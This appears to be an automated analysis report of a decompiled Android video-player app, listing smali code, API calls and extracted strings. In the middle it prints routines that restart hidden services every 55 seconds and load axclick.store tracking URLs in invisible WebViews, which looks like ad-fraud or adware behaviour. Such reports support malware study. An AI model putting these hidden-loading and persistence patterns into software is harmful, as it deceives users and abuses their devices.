    • p0: javascript:player.loadVideoById(\"
8move-result-object v0
10invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v0
13const-string v1, "\");"
15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \");
16move-result-object v0
18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v0
20return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • javascript:player.loadPlaylist({list:\"
  • \"});
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "javascript:player.loadPlaylist({list:\""
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: javascript:player.loadPlaylist({list:\"
8move-result-object v0
10invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v0
13const-string v1, "\"});"
15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \"});
16move-result-object v0
18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v0
20return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • javascript:player.setPlaybackQuality(\"
  • \");
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "javascript:player.setPlaybackQuality(\""
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: javascript:player.setPlaybackQuality(\"
8move-result-object v0
10invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v0
13const-string v1, "\");"
15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \");
16move-result-object v0
18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v0
20return-object v0
APIs
  • com.mikepenz.a.b.f
  • com.mikepenz.a.b.b
  • com.mikepenz.a.b.c
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.g
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/view/View;",
4"I",
5"Lcom/mikepenz/a/b",
6"<TItem;>;TItem;)Z"
7}
8.end annotation
9.prologue
10const/4 v0, 0x0
12iget-object v1, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
14invoke-virtual {v1, p2}, Lcom/mikepenz/a/b;->f(I)Lcom/mikepenz/a/b$h;
15move-result-object v1
17iget-object v2, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
18if-eqz v2, :cond_5a
20iget-object v2, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
22invoke-interface {v2}, Lcom/mikepenz/a/g;->e()Z
23move-result v2
24if-eqz v2, :cond_5a
26iget-object v2, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
28invoke-static {v2}, Lcom/mikepenz/a/b;->f(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$f;
29move-result-object v2
30if-eqz v2, :cond_29
32iget-object v0, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
34invoke-static {v0}, Lcom/mikepenz/a/b;->f(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$f;
35move-result-object v0
37iget-object v2, v1, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
39iget-object v3, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
41invoke-interface {v0, p1, v2, v3, p2}, Lcom/mikepenz/a/b$f;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
42move-result v0
43cond_29: if-nez v0, :cond_42
45iget-object v2, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
47invoke-static {v2}, Lcom/mikepenz/a/b;->b(Lcom/mikepenz/a/b;)Z
48move-result v2
49if-eqz v2, :cond_42
51iget-object v2, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
53invoke-static {v2}, Lcom/mikepenz/a/b;->c(Lcom/mikepenz/a/b;)Z
54move-result v2
55if-eqz v2, :cond_42
57iget-object v2, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
59iget-object v3, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
61invoke-static {v2, p1, v3, p2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b;Landroid/view/View;Lcom/mikepenz/a/g;I)V
62cond_42: if-nez v0, :cond_5a
64iget-object v2, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
66invoke-static {v2}, Lcom/mikepenz/a/b;->g(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$f;
67move-result-object v2
68if-eqz v2, :cond_5a
70iget-object v0, p0, Lcom/mikepenz/a/b$2;->a:Lcom/mikepenz/a/b;
72invoke-static {v0}, Lcom/mikepenz/a/b;->g(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$f;
73move-result-object v0
75iget-object v2, v1, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
77iget-object v1, v1, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
79invoke-interface {v0, p1, v2, v1, p2}, Lcom/mikepenz/a/b$f;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
80move-result v0
81cond_5a: return v0
APIs
  • android.widget.ImageView.<init>
  • android.graphics.RectF.<init>
  • android.graphics.Matrix.<init>
  • android.graphics.Paint.<init>
  • com.pedqaesf.app.views.INSCircularImageView.a
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3invoke-direct {p0, p1}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;)V
4new-instance v0, Landroid/graphics/RectF;
6invoke-direct {v0}, Landroid/graphics/RectF;-><init>()V
7iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
8new-instance v0, Landroid/graphics/RectF;
10invoke-direct {v0}, Landroid/graphics/RectF;-><init>()V
11iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
12new-instance v0, Landroid/graphics/Matrix;
14invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V
15iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
16new-instance v0, Landroid/graphics/Paint;
18invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
19iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
20new-instance v0, Landroid/graphics/Paint;
22invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
23iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
24new-instance v0, Landroid/graphics/Paint;
26invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
27iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
28const/high16 v0, -0x1000000
29iput v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
30iput v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
31iput v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
33invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->a()V
34return-void
APIs
  • com.mikepenz.materialize.a.a.<init>
  • android.widget.ImageView.setImageDrawable
  • android.widget.ImageView.setVisibility
  • android.widget.ImageView.setImageDrawable
  • com.mikepenz.materialize.a.a.<init>
  • android.widget.ImageView.setImageDrawable
  • android.widget.ImageView.setVisibility
Position Instruction Meta Information
0.prologue
1if-eqz p0, :cond_2a
2if-eqz p2, :cond_1b
3if-eqz p4, :cond_13
4new-instance v0, Lcom/mikepenz/materialize/a/a;
6invoke-direct {v0, p0, p2, p1, p3}, Lcom/mikepenz/materialize/a/a;-><init>(Landroid/graphics/drawable/Drawable;Landroid/graphics/drawable/Drawable;II)V
8invoke-virtual {p5, v0}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
9goto_e: const/4 v0, 0x0
11invoke-virtual {p5, v0}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
12goto_12: return-void
13cond_13:
14invoke-static {p0, p2}, Lcom/mikepenz/materialize/c/b;->a(Landroid/graphics/drawable/Drawable;Landroid/graphics/drawable/Drawable;)Landroid/graphics/drawable/StateListDrawable;
15move-result-object v0
17invoke-virtual {p5, v0}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
18goto/16 :goto_e
19cond_1b: if-eqz p4, :cond_26
20new-instance v0, Lcom/mikepenz/materialize/a/a;
22invoke-direct {v0, p0, p1, p3}, Lcom/mikepenz/materialize/a/a;-><init>(Landroid/graphics/drawable/Drawable;II)V
24invoke-virtual {p5, v0}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
25goto/16 :goto_e
26cond_26:
27invoke-virtual {p5, p0}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
28goto/16 :goto_e
29cond_2a: const/16 v0, 0x8
31invoke-virtual {p5, v0}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
32goto/16 :goto_12
Cross References
APIs
  • android.content.Intent.<init>
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.stopService
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.startService
  • android.content.Intent.<init>
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.stopService
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.startService
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
2const-class v1, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
4invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p0, v0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->stopService(Landroid/content/Intent;)Z
8invoke-virtual {p0, v0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
9new-instance v0, Landroid/content/Intent;
10const-class v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
12invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
14invoke-virtual {p0, v0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->stopService(Landroid/content/Intent;)Z
16invoke-virtual {p0, v0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
17new-instance v0, Landroid/os/Handler;
19invoke-direct {v0}, Landroid/os/Handler;-><init>()V
20new-instance v1, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg$1;
22invoke-direct {v1, p0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg$1;-><init>(Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;)V
23const-wide/32 v2, 0xd6d8
25invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 55000
26return-void
Cross References
APIs
  • android.webkit.WebView.<init>
  • android.webkit.WebView.clearCache
  • android.webkit.WebView.loadUrl
  • com.pedqaesf.app.AsyncTask.Vpknteytxitm$1.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • http://g.axclick.store/?utm_source=tfikztteuic
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"SetJavaScriptEnabled"
3}
4.end annotation
5.prologue
6try_start_0: new-instance v0, Landroid/webkit/WebView;
8invoke-direct {v0, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
9iput-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
11iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
12const/4 v1, 0x1
14invoke-virtual {v0, v1}, Landroid/webkit/WebView;->clearCache(Z)V
  • Data flow analysis:
    • includeDiskFiles: 1
16iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
18const-string v1, "http://g.axclick.store/?utm_source=tfikztteuic"
20invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: http://g.axclick.store/?utm_source=tfikztteuic
22iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
23new-instance v1, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;
25invoke-direct {v1, p0}, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;-><init>(Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;)V
27invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
28goto_1e: return-void
29catch_1f: move-exception v0
30goto/16 :goto_1e
APIs
  • android.widget.RelativeLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.removeGlobalOnLayoutListener
  • android.widget.RelativeLayout.getMeasuredHeight
  • java.lang.String.valueOf
  • android.util.Log.d
Strings
  • Close Image Size
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
4iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->w:Landroid/widget/RelativeLayout;
6invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
7move-result-object v0
9invoke-virtual {v0, p0}, Landroid/view/ViewTreeObserver;->removeGlobalOnLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
11iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
13iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
15iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->w:Landroid/widget/RelativeLayout;
17invoke-virtual {v1}, Landroid/widget/RelativeLayout;->getMeasuredHeight()I
18move-result v1
19iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->U:I
21const-string v0, "Close Image Size "
23iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
24iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->U:I
26invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
27move-result-object v1
29invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Close Image Size
30return-void
Cross References
APIs
  • android.animation.ObjectAnimator.ofFloat
  • android.animation.ObjectAnimator.<init>
  • android.animation.ObjectAnimator.setTarget
  • android.animation.ObjectAnimator.setPropertyName
  • android.animation.ObjectAnimator.setFloatValues
Strings
  • translationY
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
2const/4 v3, 0x0
3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
4const/16 v1, 0xe
5if-lt v0, v1, :cond_14
7sget-object v0, Landroid/view/View;->TRANSLATION_Y:Landroid/util/Property;
8new-array v1, v2, [F
9int-to-float v2, p1
10aput v2, v1, v3
12invoke-static {p0, v0, v1}, Landroid/animation/ObjectAnimator;->ofFloat(Ljava/lang/Object;Landroid/util/Property;[F)Landroid/animation/ObjectAnimator;
13move-result-object v0
14goto_13: return-object v0
15cond_14: new-instance v0, Landroid/animation/ObjectAnimator;
17invoke-direct {v0}, Landroid/animation/ObjectAnimator;-><init>()V
19invoke-virtual {v0, p0}, Landroid/animation/ObjectAnimator;->setTarget(Ljava/lang/Object;)V
21const-string v1, "translationY"
23invoke-virtual {v0, v1}, Landroid/animation/ObjectAnimator;->setPropertyName(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: translationY
24new-array v1, v2, [F
25int-to-float v2, p1
26aput v2, v1, v3
28invoke-virtual {v0, v1}, Landroid/animation/ObjectAnimator;->setFloatValues([F)V
29goto/16 :goto_13
Cross References
APIs
  • android.webkit.WebView.<init>
  • android.webkit.WebView.clearCache
  • android.webkit.WebView.loadUrl
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$1.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • http://u.axclick.store/?utm_source=tfikztteuic
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v0, Landroid/webkit/WebView;
3invoke-direct {v0, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
4iput-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
6iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
7const/4 v1, 0x1
9invoke-virtual {v0, v1}, Landroid/webkit/WebView;->clearCache(Z)V
  • Data flow analysis:
    • includeDiskFiles: 1
11iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
13const-string v1, "http://u.axclick.store/?utm_source=tfikztteuic"
15invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: http://u.axclick.store/?utm_source=tfikztteuic
17iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
18new-instance v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;
20invoke-direct {v1, p0}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;-><init>(Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;)V
22invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
23goto_1e: return-void
24catch_1f: move-exception v0
25goto/16 :goto_1e
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.<init>
  • android.util.SparseArray.<init>
  • android.support.v4.e.b.<init>
  • android.util.SparseIntArray.<init>
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
2const/4 v1, 0x0
4invoke-direct {p0}, Landroid/support/v7/widget/RecyclerView$a;-><init>()V
5new-instance v0, Landroid/util/SparseArray;
7invoke-direct {v0}, Landroid/util/SparseArray;-><init>()V
8iput-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
9new-instance v0, Landroid/util/SparseArray;
11invoke-direct {v0}, Landroid/util/SparseArray;-><init>()V
12iput-object v0, p0, Lcom/mikepenz/a/b;->b:Landroid/util/SparseArray;
13new-instance v0, Landroid/util/SparseArray;
15invoke-direct {v0}, Landroid/util/SparseArray;-><init>()V
16iput-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
17iput v1, p0, Lcom/mikepenz/a/b;->d:I
18iput-boolean v1, p0, Lcom/mikepenz/a/b;->e:Z
19iput-boolean v1, p0, Lcom/mikepenz/a/b;->f:Z
20iput-boolean v1, p0, Lcom/mikepenz/a/b;->g:Z
21iput-boolean v2, p0, Lcom/mikepenz/a/b;->h:Z
22iput-boolean v1, p0, Lcom/mikepenz/a/b;->i:Z
23iput-boolean v1, p0, Lcom/mikepenz/a/b;->j:Z
24iput-boolean v2, p0, Lcom/mikepenz/a/b;->k:Z
25iput-boolean v1, p0, Lcom/mikepenz/a/b;->l:Z
26new-instance v0, Landroid/support/v4/e/b;
28invoke-direct {v0}, Landroid/support/v4/e/b;-><init>()V
29iput-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
30new-instance v0, Landroid/util/SparseIntArray;
32invoke-direct {v0}, Landroid/util/SparseIntArray;-><init>()V
33iput-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
34new-instance v0, Lcom/mikepenz/a/b$e;
36invoke-direct {v0, p0}, Lcom/mikepenz/a/b$e;-><init>(Lcom/mikepenz/a/b;)V
37iput-object v0, p0, Lcom/mikepenz/a/b;->v:Lcom/mikepenz/a/b$d;
38new-instance v0, Lcom/mikepenz/a/b$b;
40invoke-direct {v0, p0}, Lcom/mikepenz/a/b$b;-><init>(Lcom/mikepenz/a/b;)V
41iput-object v0, p0, Lcom/mikepenz/a/b;->w:Lcom/mikepenz/a/b$a;
42new-instance v0, Lcom/mikepenz/a/b$1;
44invoke-direct {v0, p0}, Lcom/mikepenz/a/b$1;-><init>(Lcom/mikepenz/a/b;)V
45iput-object v0, p0, Lcom/mikepenz/a/b;->x:Lcom/mikepenz/a/c/a;
46new-instance v0, Lcom/mikepenz/a/b$2;
48invoke-direct {v0, p0}, Lcom/mikepenz/a/b$2;-><init>(Lcom/mikepenz/a/b;)V
49iput-object v0, p0, Lcom/mikepenz/a/b;->y:Lcom/mikepenz/a/c/d;
50new-instance v0, Lcom/mikepenz/a/b$3;
52invoke-direct {v0, p0}, Lcom/mikepenz/a/b$3;-><init>(Lcom/mikepenz/a/b;)V
53iput-object v0, p0, Lcom/mikepenz/a/b;->z:Lcom/mikepenz/a/c/e;
54new-instance v0, Lcom/mikepenz/a/b/a;
56invoke-direct {v0, p0}, Lcom/mikepenz/a/b/a;-><init>(Lcom/mikepenz/a/b;)V
57iput-object v0, p0, Lcom/mikepenz/a/b;->o:Lcom/mikepenz/a/b/a;
59invoke-virtual {p0, v2}, Lcom/mikepenz/a/b;->b(Z)V
  • Data flow analysis:
    • p0: 1
60return-void
Cross References
APIs
  • android.util.SparseArray.clear
  • android.util.SparseArray.size
  • android.util.SparseArray.valueAt
  • android.util.SparseArray.append
  • android.util.SparseArray.size
  • android.util.SparseArray.valueAt
  • android.util.SparseArray.append
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
5invoke-virtual {v0}, Landroid/util/SparseArray;->clear()V
7iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
9invoke-virtual {v0}, Landroid/util/SparseArray;->size()I
10move-result v4
11move v2, v3
12move v1, v3
13goto_e: if-ge v2, v4, :cond_2d
15iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
17invoke-virtual {v0, v2}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
  • Data flow analysis:
    • index: 0
18move-result-object v0
19check-cast v0, Lcom/mikepenz/a/c;
21invoke-interface {v0}, Lcom/mikepenz/a/c;->d()I
22move-result v5
23if-lez v5, :cond_45
25iget-object v5, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
27invoke-virtual {v5, v1, v0}, Landroid/util/SparseArray;->append(ILjava/lang/Object;)V
  • Data flow analysis:
    • key: 0
29invoke-interface {v0}, Lcom/mikepenz/a/c;->d()I
30move-result v0
31add-int/2addr v0, v1
32goto_28: add-int/lit8 v1, v2, 0x1
33move v2, v1
34move v1, v0
35goto/16 :goto_e
36cond_2d: if-nez v1, :cond_42
38iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
40invoke-virtual {v0}, Landroid/util/SparseArray;->size()I
41move-result v0
42if-lez v0, :cond_42
44iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
46iget-object v2, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
48invoke-virtual {v2, v3}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
  • Data flow analysis:
    • index: 0
49move-result-object v2
51invoke-virtual {v0, v3, v2}, Landroid/util/SparseArray;->append(ILjava/lang/Object;)V
  • Data flow analysis:
    • key: 0
52cond_42: iput v1, p0, Lcom/mikepenz/a/b;->d:I
53return-void
54cond_45: move v0, v1
55goto/16 :goto_28
Cross References
Strings
  • auto
  • hd1080
  • hd720
  • large
  • medium
  • small
  • tiny
Position Instruction Meta Information
0.prologue
1sget v0, Lcom/pedqaesf/app/b;->e:I
2if-nez v0, :cond_b
4const-string v0, "auto"
5sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
6goto_8:
7sget-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
8return-object v0
9cond_b: sget v0, Lcom/pedqaesf/app/b;->e:I
10const/4 v1, 0x1
11if-ne v0, v1, :cond_15
13const-string v0, "hd1080"
14sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
15goto/16 :goto_8
16cond_15: sget v0, Lcom/pedqaesf/app/b;->e:I
17const/4 v1, 0x2
18if-ne v0, v1, :cond_1f
20const-string v0, "hd720"
21sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
22goto/16 :goto_8
23cond_1f: sget v0, Lcom/pedqaesf/app/b;->e:I
24const/4 v1, 0x3
25if-ne v0, v1, :cond_29
27const-string v0, "large"
28sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
29goto/16 :goto_8
30cond_29: sget v0, Lcom/pedqaesf/app/b;->e:I
31const/4 v1, 0x4
32if-ne v0, v1, :cond_33
34const-string v0, "medium"
35sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
36goto/16 :goto_8
37cond_33: sget v0, Lcom/pedqaesf/app/b;->e:I
38const/4 v1, 0x5
39if-ne v0, v1, :cond_3d
41const-string v0, "small"
42sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
43goto/16 :goto_8
44cond_3d:
45const-string v0, "tiny"
46sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
47goto/16 :goto_8
APIs
  • android.app.Activity.onCreate
  • com.pedqaesf.app.player.INSFullScreenWebPlayer.setContentView
  • com.pedqaesf.app.player.INSFullScreenWebPlayer.findViewById
  • android.view.WindowManager$LayoutParams.<init>
  • android.webkit.WebView.getParent
  • android.view.ViewGroup.removeView
  • android.widget.LinearLayout.addView
Position Instruction Meta Information
0.prologue
1const/4 v3, -0x1
2const/4 v0, 0x1
3sput-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
4sput-object p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->b:Landroid/app/Activity;
6invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
7const v0, 0x7f04001b
9invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->setContentView(I)V
  • Data flow analysis:
    • layoutResID: 2130968603
10const v0, 0x7f0f008b
12invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131689611
13move-result-object v0
14check-cast v0, Landroid/widget/LinearLayout;
16invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
17move-result-object v1
18iput-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
19new-instance v2, Landroid/view/WindowManager$LayoutParams;
21invoke-direct {v2, v3, v3}, Landroid/view/WindowManager$LayoutParams;-><init>(II)V
22const/16 v1, 0x7da
23iput v1, v2, Landroid/view/WindowManager$LayoutParams;->type:I
25iget-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
27invoke-virtual {v1}, Landroid/webkit/WebView;->getParent()Landroid/view/ViewParent;
28move-result-object v1
29check-cast v1, Landroid/view/ViewGroup;
30iput-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->c:Landroid/view/ViewGroup;
32iget-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->c:Landroid/view/ViewGroup;
34iget-object v3, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
36invoke-virtual {v1, v3}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
38iget-object v1, p0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->d:Landroid/webkit/WebView;
40invoke-virtual {v0, v1, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
42invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
43move-result-object v0
